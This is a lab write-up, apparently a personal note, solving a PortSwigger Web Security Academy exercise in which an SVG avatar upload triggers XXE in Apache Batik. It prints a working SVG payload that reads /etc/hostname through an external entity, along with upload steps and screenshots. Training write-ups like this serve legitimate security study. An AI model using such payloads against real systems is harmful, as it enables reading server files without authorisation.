---
# System prepended metadata

title: 'Lab: Exploiting XXE via image file upload'
tags: [Web, Portswigger Web Security Academy]

---

# Lab: Exploiting XXE via image file upload
###### tags: `Portswigger Web Security Academy` `Web`
* Description: This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
* Goal: To solve the lab, upload an image that displays the contents of the `/etc/hostname` file after processing. Then use the "Submit solution" button to submit the value of the server hostname.

## Recon
In this lab, we can upload an exploited file which contained malicious xml data. Then we can fetch some sensitive information.

## Exp - Upload Exploited File as Avatar
1. Create an exploit text file
We can create a text file contained the payload below
The exploited payload in `.svg` files:
```xml!
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns ="http://www.w3.org/2000/svg" xmlns:xlink ="http://www.w3.org/1999/xlink" version="1.1"><text fontsize="16" x="0" y="16">&xxe;</text></svg>
```
2. Transfer to `svg` file and upload it
After transfering to `.svg` file, we can choose arbitrary post and leave a comment below
![](https://i.imgur.com/gQt4HCF.png)

3. Check your avatar
Then you get back to post page and verified your avatar photo should contain a string which is your flag(sensitive data) that you must submit.
:::spoiler Success Screenshot
![](https://i.imgur.com/W3Jg2Xs.png)
:::
